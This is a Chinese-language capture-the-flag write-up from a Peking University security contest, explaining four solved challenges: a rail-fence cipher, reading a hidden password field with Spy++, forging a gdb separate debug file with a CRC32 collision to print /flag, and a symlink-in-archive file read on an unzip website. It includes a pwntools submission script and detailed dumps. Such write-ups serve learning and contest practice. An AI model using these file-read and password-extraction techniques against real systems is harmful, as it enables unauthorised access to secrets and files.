第一届北京大学信息安全综合能力竞赛,校外选手参加玩玩。挑着觉得好玩的题目做了做。再此分享Writeup。
签到
给出了一个PDF,PDF里面的字就是flag,但是其中的字是异形字体。使用Ctrl+A把字全部选中,复制出来。可以得到如下内容:
fa{aeAGetTm@ekaev!
lgHv__ra_ieGeGm_1}
显然可见,是2-栅栏加密。利用下面的脚本解密得到Flag:
str_arr = ["fa{aeAGetTm@ekaev!", "lgHv__ra_ieGeGm_1}"]
for i in range(len(str_arr[0])):
for j in range(2):
print(str_arr[j][i], end="")
诡异的网关
首先尝试用IDA分析,发现太复杂,字符串搜索也没搜索出来啥。于是开始探索GUI。
在登录界面,发现这个客户端有个记住账号的功能。有个用户名是flag。点击切换一下,成了下图的状态。
显然,密码被存在Password文本框里了。但是我想复制的时候。系统会提示:不允许:您不能从密码字段中复制。
于是,我想起了Windows的GDI。下面是来自百度百科对GDI的解释:
GDI是图形设备接口的英文缩写,主要任务是负责系统与绘图程序之间的信息交换,处理所有Windows程序的图形和图像输出。GDI的出现使程序员无需要关心硬件设备及设备正常驱动,就可以将应用程序的输出转化为硬件设备上的输出和构成,实现了程序开发者与硬件设备的隔离,大大方便了开发工作。
我已经不记得我对GDI的了解是从哪本书里来的了。但我知道的是,绝大多数窗口及控件的绘制工作都由操作系统完成。Windows操作系统通过句柄唯一标志一个GDI对象,并且通过Windows API完成对控件的各种事件及操作。因此,我们只需要监听对该控件对象的事件,即可捕捉由用户态应用程序向操作系统内核发送的文本框中的信息,而无需完整的逆向程序。
那么“监听控件对象”的工具是什么,从哪里来呢?微软有一个Microsoft Spy++软件,专门用来做这个事情。它的简介如下:
Spy++ (SPYXX.EXE) is a Win32-based utility that gives you a graphical view of the system’s processes, threads, windows, and window messages. With Spy++, you can:
– Display a graphical tree of relationships among system objects, including processes, threads, and windows.
– Search for specified windows, threads, processes, or messages.
– View the properties of selected windows, threads, processes, or messages.
– Select a window, thread, process, or message directly from the view.
– Use the Finder Tool to select a window by mouse positioning.
– Set message options using complex message log selection parameters.
我们打开Microsoft Spy++,选择菜单:监视——日志消息。利用“查找程序工具”,将定位图标拖放到对应的密码框上,如图所示。
点击确定。回到客户端里,重新点击用户名的下拉文本框并选择flag。此时Spy++里的Messages窗口会不停的收到消息。待操作完成后,我们在Messages窗口中寻找WM_SETTEXT事件。即得到了Flag。
射水鱼
这是一道很有意思的题目,需要阅读大量的英文参考资料,国内讲这些的很少。以类似于Pwn的形式出出来了。
首先我们阅读serve.py:
import functools
import sys
import tempfile
import shutil
import os
import subprocess
print = functools.partial(print, flush=True)
def main():
print('What do you think should be present in a debug info file ?')
print('Give me your answer, I will debug it for you :)')
print('File > ')
content = sys.stdin.buffer.read(0x1024)
print(len(content))
with tempfile.TemporaryDirectory() as tempdir:
bin_path = os.path.join(tempdir, 'hello')
shutil.copyfile('/home/ctf/hello', bin_path)
with open(os.path.join(tempdir, 'hello.debug'), 'wb') as f:
f.write(content)
os.chdir(tempdir)
os.chmod(bin_path, 0o755)
subprocess.run(['gdb', 'hello', '-ex', 'b main', '-ex', 'r', '-ex', 'p a', '-ex', 'c', '-ex', 'q'])
if __name__ == '__main__':
main()
简要来说,整个流程是从客户端读一个长度恰为0x1024的hello.debug
,和hello
程序放在一起。然后在gdb中执行命令,依次为:
- 在main处下断点
- 运行程序
- 打印变量a的值
- 继续运行
- 退出
简单猜测一下,hello.debug文件应该是与hello相分离的符号文件。于是我就在网上搜索,查找到了资料Separate Debug Files (Debugging with GDB)[1]。阅读完毕之后,我抓住的最重要的信息是:
- 采用Debug Link方式单独存放符号文件时(本题目就采用该种方法),原ELF文件中
.gnu_debuglink
节中存放了对应的分离符号文件名以及单独符号文件的校验和。 - 校验和采用IEEE 802.3定义的标准CRC32算法,多项式为 x^{32} + x^{26} + x^{23} + x^{22} + x^{16} + x^{12} + x^{11} + x^{10} + x^{8} + x^{7} + x^{5} + x^{4} + x^{2} + x + 1,对整个符号文件内容进行校验和的计算。
- 建立分离的调试文件的示例命令如下:
objcopy --only-keep-debug foo foo.debug
strip -g foo
一开始的时候我还没有头绪,非常疑惑。调试文件又不能执行代码,虽然题面中给出flag文件存放的路径是/flag
,我怎么执行命令把它打出来呢?我查了一通ELF对应的符号文件格式,发现是DWARF,又去尝试翻DWARF的手册[2],什么都没查找到,无果。后来我索性想着按照他的脚本自己执行一遍来尝试一下,结果发现了如何打印信息的方法。
原来,使用-ex选项执行gdb的方式,会让其在给main函数下断时,在CLI里面打印出源码文件的对应行。
而相关信息(包括源码文件路径、行号信息)都存储在符号文件中。只要我们去修改符号文件,更改对应的源码路径及行号信息,就可以巧妙地让gdb替我们读出/flag
的第1行.从而得到flag。
但这其中有非常多需要我们注意的点,我下面来一个一个讲述:
- 编译新的.debug文件时,必须严格使用与原可执行ELF相同版本的编译器,否则编译了之后压根也对不上。我们可以通过如下命令进行查看:
objdump -sj .comment hello
hello: 文件格式 elf64-x86-64
Contents of section .comment:
0000 4743433a 20285562 756e7475 20392e33 GCC: (Ubuntu 9.3
0010 2e302d31 37756275 6e747531 7e32302e .0-17ubuntu1~20.
0020 30342920 392e332e 3000 04) 9.3.0.
这个版本恰好是Ubuntu 20.04的GCC编译器。所以我直接用了Ubuntu 20.04完成这一系列操作。
- 使用如下命令查看.debug符号文件的详细内部结构:
objdump -g hello.debug.1
hello.debug.1: 文件格式 elf64-x86-64
Contents of the .eh_frame section (loaded from hello.debug.1):
00000000 ZERO terminator
Contents of the .debug_aranges section (loaded from hello.debug.1):
长度: 44
版本: 2
.debug_info 节中的偏移量: 0x0
指针大小: 8
节区大小: 0
地址 长度
0000000000001129 000000000000000f
0000000000000000 0000000000000000
Contents of the .debug_info section (loaded from hello.debug.1):
编译单元 @ 偏移 0x0:
长度: 0x63 (32-bit)
版本: 4
缩写偏移量: 0x0
指针大小: 8
<0><b>:缩写编号:1 (DW_TAG_compile_unit)
<c> DW_AT_producer : (indirect string, offset: 0x2a): GNU C17 9.3.0 -mtune=generic -march=x86-64 -g -fasynchronous-unwind-tables -fstack-protector-strong -fstack-clash-protection -fcf-protection
<10> DW_AT_language : 12 (ANSI C99)
<11> DW_AT_name : (indirect string, offset: 0xb7): hello.c
<15> DW_AT_comp_dir : (indirect string, offset: 0x0): /home/user/桌面/prob14_1inc1ou701mua7t5
<19> DW_AT_low_pc : 0x1129
<21> DW_AT_high_pc : 0xf
<29> DW_AT_stmt_list : 0x0
<1><2d>:缩写编号:2 (DW_TAG_variable)
<2e> DW_AT_name : a
<30> DW_AT_decl_file : 1
<31> DW_AT_decl_line : 2
<32> DW_AT_decl_column : 5
<33> DW_AT_type : <0x41>
<37> DW_AT_external : 1
<37> DW_AT_location : 9 byte block: 3 14 40 0 0 0 0 0 0 (DW_OP_addr: 4014)
<1><41>:缩写编号:3 (DW_TAG_base_type)
<42> DW_AT_byte_size : 4
<43> DW_AT_encoding : 5 (signed)
<44> DW_AT_name : int
<1><48>:缩写编号:4 (DW_TAG_subprogram)
<49> DW_AT_external : 1
<49> DW_AT_name : (indirect string, offset: 0xbf): main
<4d> DW_AT_decl_file : 1
<4e> DW_AT_decl_line : 4
<4f> DW_AT_decl_column : 5
<50> DW_AT_type : <0x41>
<54> DW_AT_low_pc : 0x1129
<5c> DW_AT_high_pc : 0xf
<64> DW_AT_frame_base : 1 byte block: 9c (DW_OP_call_frame_cfa)
<66> DW_AT_GNU_all_call_sites: 1
<1><66>:缩写编号:0
Contents of the .debug_abbrev section (loaded from hello.debug.1):
Number TAG (0x0)
1 DW_TAG_compile_unit [has children]
DW_AT_producer DW_FORM_strp
DW_AT_language DW_FORM_data1
DW_AT_name DW_FORM_strp
DW_AT_comp_dir DW_FORM_strp
DW_AT_low_pc DW_FORM_addr
DW_AT_high_pc DW_FORM_data8
DW_AT_stmt_list DW_FORM_sec_offset
DW_AT value: 0 DW_FORM value: 0
2 DW_TAG_variable [no children]
DW_AT_name DW_FORM_string
DW_AT_decl_file DW_FORM_data1
DW_AT_decl_line DW_FORM_data1
DW_AT_decl_column DW_FORM_data1
DW_AT_type DW_FORM_ref4
DW_AT_external DW_FORM_flag_present
DW_AT_location DW_FORM_exprloc
DW_AT value: 0 DW_FORM value: 0
3 DW_TAG_base_type [no children]
DW_AT_byte_size DW_FORM_data1
DW_AT_encoding DW_FORM_data1
DW_AT_name DW_FORM_string
DW_AT value: 0 DW_FORM value: 0
4 DW_TAG_subprogram [no children]
DW_AT_external DW_FORM_flag_present
DW_AT_name DW_FORM_strp
DW_AT_decl_file DW_FORM_data1
DW_AT_decl_line DW_FORM_data1
DW_AT_decl_column DW_FORM_data1
DW_AT_type DW_FORM_ref4
DW_AT_low_pc DW_FORM_addr
DW_AT_high_pc DW_FORM_data8
DW_AT_frame_base DW_FORM_exprloc
DW_AT_GNU_all_call_sites DW_FORM_flag_present
DW_AT value: 0 DW_FORM value: 0
Raw dump of debug contents of section .debug_line (loaded from hello.debug.1):
偏移: 0x0
长度: 59
DWARF 版本: 3
导言长度: 30
最小指令长度: 1
“is_stmt”的初始值: 1
行基数: -5
行范围: 14
操作码基数: 13
操作码:
Opcode 1 has 0 args
Opcode 2 has 1 arg
Opcode 3 has 1 arg
Opcode 4 has 1 arg
Opcode 5 has 1 arg
Opcode 6 has 0 args
Opcode 7 has 0 args
Opcode 8 has 0 args
Opcode 9 has 1 arg
Opcode 10 has 0 args
Opcode 11 has 0 args
Opcode 12 has 1 arg
目录表为空。
文件名表 (偏移 0x1c):
条目 目录 时间 大小 名称
1 0 0 0 hello.c
行号语句:
[0x00000028] 将列设定为 12
[0x0000002a] 扩充操作码 2: 设置地址为 0x1129
[0x00000035] Special opcode 8: advance Address by 0 to 0x1129 and Line by 3 to 4
[0x00000036] Special opcode 118: advance Address by 8 to 0x1131 and Line by 1 to 5
[0x00000037] 将列设定为 1
[0x00000039] Special opcode 76: advance Address by 5 to 0x1136 and Line by 1 to 6
[0x0000003a] Advance PC by 2 to 0x1138
[0x0000003c] 扩充操作码 1: 序列结束
Contents of the .debug_str section (loaded from hello.debug.1):
0x00000000 2f686f6d 652f7573 65722fe6 a18ce99d /home/user/.....
0x00000010 a22f7072 6f623134 5f31696e 63316f75 ./prob14_1inc1ou
0x00000020 3730316d 75613774 3500474e 55204331 701mua7t5.GNU C1
0x00000030 3720392e 332e3020 2d6d7475 6e653d67 7 9.3.0 -mtune=g
0x00000040 656e6572 6963202d 6d617263 683d7838 eneric -march=x8
0x00000050 362d3634 202d6720 2d666173 796e6368 6-64 -g -fasynch
0x00000060 726f6e6f 75732d75 6e77696e 642d7461 ronous-unwind-ta
0x00000070 626c6573 202d6673 7461636b 2d70726f bles -fstack-pro
0x00000080 74656374 6f722d73 74726f6e 67202d66 tector-strong -f
0x00000090 73746163 6b2d636c 6173682d 70726f74 stack-clash-prot
0x000000a0 65637469 6f6e202d 6663662d 70726f74 ection -fcf-prot
0x000000b0 65637469 6f6e0068 656c6c6f 2e63006d ection.hello.c.m
0x000000c0 61696e00 ain.
注意我们要更改的地方包括:.debug_line
节的行基数、文件名表和行号语句。大致的更改方法为:首先通过objdump定位节偏移。然后手动去定位我上面所提到的二进制数据项并进行修改。再放到gdb里面验证修改是否正确。
更改后的Dump如下:
objdump -g hello.debug
hello.debug: 文件格式 elf64-x86-64
Contents of the .eh_frame section (loaded from hello.debug):
00000000 ZERO terminator
Contents of the .debug_aranges section (loaded from hello.debug):
长度: 44
版本: 2
.debug_info 节中的偏移量: 0x0
指针大小: 8
节区大小: 0
地址 长度
0000000000001129 000000000000000f
0000000000000000 0000000000000000
Contents of the .debug_info section (loaded from hello.debug):
编译单元 @ 偏移 0x0:
长度: 0x63 (32-bit)
版本: 4
缩写偏移量: 0x0
指针大小: 8
<0><b>:缩写编号:1 (DW_TAG_compile_unit)
<c> DW_AT_producer : (indirect string, offset: 0x2a): GNU C17 9.3.0 -mtune=generic -march=x86-64 -g -fasynchronous-unwind-tables -fstack-protector-strong -fstack-clash-protection -fcf-protection
<10> DW_AT_language : 12 (ANSI C99)
<11> DW_AT_name : (indirect string, offset: 0xb7): hello.c
<15> DW_AT_comp_dir : (indirect string, offset: 0x0): /home/user/桌面/prob14_1inc1ou701mua7t5
<19> DW_AT_low_pc : 0x1129
<21> DW_AT_high_pc : 0xf
<29> DW_AT_stmt_list : 0x0
<1><2d>:缩写编号:2 (DW_TAG_variable)
<2e> DW_AT_name : a
<30> DW_AT_decl_file : 1
<31> DW_AT_decl_line : 2
<32> DW_AT_decl_column : 5
<33> DW_AT_type : <0x41>
<37> DW_AT_external : 1
<37> DW_AT_location : 9 byte block: 3 14 40 0 0 0 0 0 0 (DW_OP_addr: 4014)
<1><41>:缩写编号:3 (DW_TAG_base_type)
<42> DW_AT_byte_size : 4
<43> DW_AT_encoding : 5 (signed)
<44> DW_AT_name : int
<1><48>:缩写编号:4 (DW_TAG_subprogram)
<49> DW_AT_external : 1
<49> DW_AT_name : (indirect string, offset: 0xbf): main
<4d> DW_AT_decl_file : 1
<4e> DW_AT_decl_line : 4
<4f> DW_AT_decl_column : 5
<50> DW_AT_type : <0x41>
<54> DW_AT_low_pc : 0x1129
<5c> DW_AT_high_pc : 0xf
<64> DW_AT_frame_base : 1 byte block: 9c (DW_OP_call_frame_cfa)
<66> DW_AT_GNU_all_call_sites: 1
<1><66>:缩写编号:0
Contents of the .debug_abbrev section (loaded from hello.debug):
Number TAG (0x0)
1 DW_TAG_compile_unit [has children]
DW_AT_producer DW_FORM_strp
DW_AT_language DW_FORM_data1
DW_AT_name DW_FORM_strp
DW_AT_comp_dir DW_FORM_strp
DW_AT_low_pc DW_FORM_addr
DW_AT_high_pc DW_FORM_data8
DW_AT_stmt_list DW_FORM_sec_offset
DW_AT value: 0 DW_FORM value: 0
2 DW_TAG_variable [no children]
DW_AT_name DW_FORM_string
DW_AT_decl_file DW_FORM_data1
DW_AT_decl_line DW_FORM_data1
DW_AT_decl_column DW_FORM_data1
DW_AT_type DW_FORM_ref4
DW_AT_external DW_FORM_flag_present
DW_AT_location DW_FORM_exprloc
DW_AT value: 0 DW_FORM value: 0
3 DW_TAG_base_type [no children]
DW_AT_byte_size DW_FORM_data1
DW_AT_encoding DW_FORM_data1
DW_AT_name DW_FORM_string
DW_AT value: 0 DW_FORM value: 0
4 DW_TAG_subprogram [no children]
DW_AT_external DW_FORM_flag_present
DW_AT_name DW_FORM_strp
DW_AT_decl_file DW_FORM_data1
DW_AT_decl_line DW_FORM_data1
DW_AT_decl_column DW_FORM_data1
DW_AT_type DW_FORM_ref4
DW_AT_low_pc DW_FORM_addr
DW_AT_high_pc DW_FORM_data8
DW_AT_frame_base DW_FORM_exprloc
DW_AT_GNU_all_call_sites DW_FORM_flag_present
DW_AT value: 0 DW_FORM value: 0
Raw dump of debug contents of section .debug_line (loaded from hello.debug):
偏移: 0x0
长度: 59
DWARF 版本: 3
导言长度: 30
最小指令长度: 1
“is_stmt”的初始值: 1
行基数: -8
行范围: 14
操作码基数: 13
操作码:
Opcode 1 has 0 args
Opcode 2 has 1 arg
Opcode 3 has 1 arg
Opcode 4 has 1 arg
Opcode 5 has 1 arg
Opcode 6 has 0 args
Opcode 7 has 0 args
Opcode 8 has 0 args
Opcode 9 has 1 arg
Opcode 10 has 0 args
Opcode 11 has 0 args
Opcode 12 has 1 arg
目录表为空。
文件名表 (偏移 0x1c):
条目 目录 时间 大小 名称
1 0 0 0 /flag
行号语句:
[0x00000026]objdump:警告: Badly formed extended line op encountered!
[0x00000028] 将列设定为 12
[0x0000002a] 扩充操作码 2: 设置地址为 0x1129
[0x00000035] Special opcode 8: advance Address by 0 to 0x1129 and Line by 0 to 1
[0x00000036] Special opcode 118: advance Address by 8 to 0x1131 and Line by -2 to -1
[0x00000037] 将列设定为 1
[0x00000039] Special opcode 76: advance Address by 5 to 0x1136 and Line by -2 to -3
[0x0000003a] Advance PC by 2 to 0x1138
[0x0000003c] 扩充操作码 1: 序列结束
Contents of the .debug_str section (loaded from hello.debug):
0x00000000 2f686f6d 652f7573 65722fe6 a18ce99d /home/user/.....
0x00000010 a22f7072 6f623134 5f31696e 63316f75 ./prob14_1inc1ou
0x00000020 3730316d 75613774 3500474e 55204331 701mua7t5.GNU C1
0x00000030 3720392e 332e3020 2d6d7475 6e653d67 7 9.3.0 -mtune=g
0x00000040 656e6572 6963202d 6d617263 683d7838 eneric -march=x8
0x00000050 362d3634 202d6720 2d666173 796e6368 6-64 -g -fasynch
0x00000060 726f6e6f 75732d75 6e77696e 642d7461 ronous-unwind-ta
0x00000070 626c6573 202d6673 7461636b 2d70726f bles -fstack-pro
0x00000080 74656374 6f722d73 74726f6e 67202d66 tector-strong -f
0x00000090 73746163 6b2d636c 6173682d 70726f74 stack-clash-prot
0x000000a0 65637469 6f6e202d 6663662d 70726f74 ection -fcf-prot
0x000000b0 65637469 6f6e0068 656c6c6f 2e63006d ection.hello.c.m
0x000000c0 61696e00 ain.
- 修改后的.debug文件必须为0x1024个字节长,因为Pwn服务端精确读入0x1024个字节,不能多也不能少。所以:
– 利用参考资料[1]中给出的符号文件生成命令,生成的符号文件大小超出了限制要求。因此使用objcopy --remove-section [Section] hello.debug
命令将符号文件中无关紧要的非符号节直接去掉,以减小占用空间。其中[Section]
是节名。
– 由于还要兼顾到CRC32校验和碰撞的问题(后面详述),所以在减小.debug文件大小后,应该用0x00
补齐文件大小到0x101D
,再填充6个字节的校验和碰撞填充凑成0x1024个字节。可以这样做的原因是,ELF文件有专门的节表定位每一个节的地址,在文件最后填充内容不会影响对ELF的正常操作。
- 由于gdb采用CRC32方法验证分离符号文件的校验和,我们必须把修改后符号文件的CRC32校验和更改为和原hello文件中一致。利用如下命令读取其CRC32的值:
objdump -g hello
hello: 文件格式 elf64-x86-64
Contents of the .eh_frame section (loaded from hello):
00000000 0000000000000014 00000000 CIE
Version: 1
Augmentation: "zR"
Code alignment factor: 1
Data alignment factor: -8
Return address column: 16
Augmentation data: 1b
DW_CFA_def_cfa: r7 (rsp) ofs 8
DW_CFA_offset: r16 (rip) at cfa-8
DW_CFA_nop
DW_CFA_nop
00000018 0000000000000014 0000001c FDE cie=00000000 pc=0000000000001040..000000000000106f
DW_CFA_advance_loc: 4 to 0000000000001044
DW_CFA_undefined: r16 (rip)
DW_CFA_nop
DW_CFA_nop
DW_CFA_nop
DW_CFA_nop
00000030 0000000000000024 00000034 FDE cie=00000000 pc=0000000000001020..0000000000001030
DW_CFA_def_cfa_offset: 16
DW_CFA_advance_loc: 6 to 0000000000001026
DW_CFA_def_cfa_offset: 24
DW_CFA_advance_loc: 10 to 0000000000001030
DW_CFA_def_cfa_expression (DW_OP_breg7 (rsp): 8; DW_OP_breg16 (rip): 0; DW_OP_lit15; DW_OP_and; DW_OP_lit10; DW_OP_ge; DW_OP_lit3; DW_OP_shl; DW_OP_plus)
DW_CFA_nop
DW_CFA_nop
DW_CFA_nop
DW_CFA_nop
00000058 0000000000000014 0000005c FDE cie=00000000 pc=0000000000001030..0000000000001040
DW_CFA_nop
DW_CFA_nop
DW_CFA_nop
DW_CFA_nop
DW_CFA_nop
DW_CFA_nop
DW_CFA_nop
00000070 000000000000001c 00000074 FDE cie=00000000 pc=0000000000001129..0000000000001138
DW_CFA_advance_loc: 5 to 000000000000112e
DW_CFA_def_cfa_offset: 16
DW_CFA_offset: r6 (rbp) at cfa-16
DW_CFA_advance_loc: 3 to 0000000000001131
DW_CFA_def_cfa_register: r6 (rbp)
DW_CFA_advance_loc: 6 to 0000000000001137
DW_CFA_def_cfa: r7 (rsp) ofs 8
DW_CFA_nop
DW_CFA_nop
DW_CFA_nop
00000090 0000000000000044 00000094 FDE cie=00000000 pc=0000000000001140..00000000000011a5
DW_CFA_advance_loc: 6 to 0000000000001146
DW_CFA_def_cfa_offset: 16
DW_CFA_offset: r15 (r15) at cfa-16
DW_CFA_advance_loc: 9 to 000000000000114f
DW_CFA_def_cfa_offset: 24
DW_CFA_offset: r14 (r14) at cfa-24
DW_CFA_advance_loc: 5 to 0000000000001154
DW_CFA_def_cfa_offset: 32
DW_CFA_offset: r13 (r13) at cfa-32
DW_CFA_advance_loc: 5 to 0000000000001159
DW_CFA_def_cfa_offset: 40
DW_CFA_offset: r12 (r12) at cfa-40
DW_CFA_advance_loc: 4 to 000000000000115d
DW_CFA_def_cfa_offset: 48
DW_CFA_offset: r6 (rbp) at cfa-48
DW_CFA_advance_loc: 8 to 0000000000001165
DW_CFA_def_cfa_offset: 56
DW_CFA_offset: r3 (rbx) at cfa-56
DW_CFA_advance_loc: 7 to 000000000000116c
DW_CFA_def_cfa_offset: 64
DW_CFA_advance_loc: 46 to 000000000000119a
DW_CFA_def_cfa_offset: 56
DW_CFA_advance_loc: 1 to 000000000000119b
DW_CFA_def_cfa_offset: 48
DW_CFA_advance_loc: 1 to 000000000000119c
DW_CFA_def_cfa_offset: 40
DW_CFA_advance_loc: 2 to 000000000000119e
DW_CFA_def_cfa_offset: 32
DW_CFA_advance_loc: 2 to 00000000000011a0
DW_CFA_def_cfa_offset: 24
DW_CFA_advance_loc: 2 to 00000000000011a2
DW_CFA_def_cfa_offset: 16
DW_CFA_advance_loc: 2 to 00000000000011a4
DW_CFA_def_cfa_offset: 8
DW_CFA_nop
000000d8 0000000000000010 000000dc FDE cie=00000000 pc=00000000000011b0..00000000000011b5
DW_CFA_nop
DW_CFA_nop
DW_CFA_nop
000000ec ZERO terminator
Contents of the .gnu_debuglink section (loaded from hello):
Separate debug info file: hello.debug
CRC value: 0x6751fc53
可知,分离符号文件的CRC32文件应为0x6751fc53。
CRC32是一个相对简单的校验算法,有现成的碰撞工具[3]。我就使用了该碰撞工具。在对符号文件手动修改完成、填充完成后,再将碰撞填充的哈希值填进去,凑成0x1024个字节即可。
最终的Pwn脚本如下:
from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')
p = remote("prob14.geekgame.pku.edu.cn", 10014)
p.recvuntil("Please input your token: ")
p.sendline("【此处请填写Token】")
p.recvuntil("File >")
with open('hello.debug', 'rb') as f:
content = f.read()
p.sendline(content)
p.interactive()
在线解压网站
非常有意思的一道题目,但是做起来不难。
上传一个压缩包,网站会替你解压。解压完了之后你可以读到压缩包里的东西。你需要读到/flag
。
解决办法:上传一个到/flag
的软链接的压缩包,就这么简单。[捂脸]
这道题一做完,我就想起来,我之前做了个网站,也可以上传压缩包。赶紧去查了查有没有毛病。还好,我那个项目部署时Constraint足够多,所以没有问题。外面还有一层Docker套着。
给自己发了个issue,欢迎参观:https://github.com/bjrjk/LinuxASMCallGraph/issues/6
附件
为方便大家学习使用,我已将所有的源码及二进制程序信息压缩打包上传到此处,欢迎下载学习:PKUGeekGame2021
参考资料:
[1] Separate Debug Files (Debugging with GDB) https://sourceware.org/gdb/onlinedocs/gdb/Separate-Debug-Files.html
[2] https://dwarfstd.org/doc/DWARF5.pdf
[3] https://github.com/theonlypwner/crc32